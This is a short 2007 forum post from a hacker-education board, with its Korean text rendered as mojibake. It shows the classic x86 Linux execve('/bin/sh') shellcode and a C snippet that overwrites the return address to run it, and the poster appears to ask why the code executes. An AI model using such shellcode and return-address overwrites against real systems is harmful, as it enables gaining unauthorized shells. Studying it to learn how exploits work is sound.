22011, 1/1101 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   busjo
   ½ºÅà ¶§·ÁºÎ¼ö±â ¹®¼­ º¸´Ù°¡ Àǹ®Á¡

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Board&no=9865 [º¹»ç]


char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}

ÀÌ·¸°Ô c¾ð¾î¸¦ ¸¸µé¸é ÇÁ·Î±×·¥ÀÌ ½ÇÇàÀÌ µÇÀݾƿä.
¿Ö ½ÇÇàÀÌ µÇ´Â°Ç°¡¿ä. ±×³É Æ÷ÀÎÅÍ ¼±¾ð¸¸ ÇسõÀº°Å ¾Æ´Ñ°¡¿ä.

  Hit : 6332     Date : 2007/12/12 12:15



    
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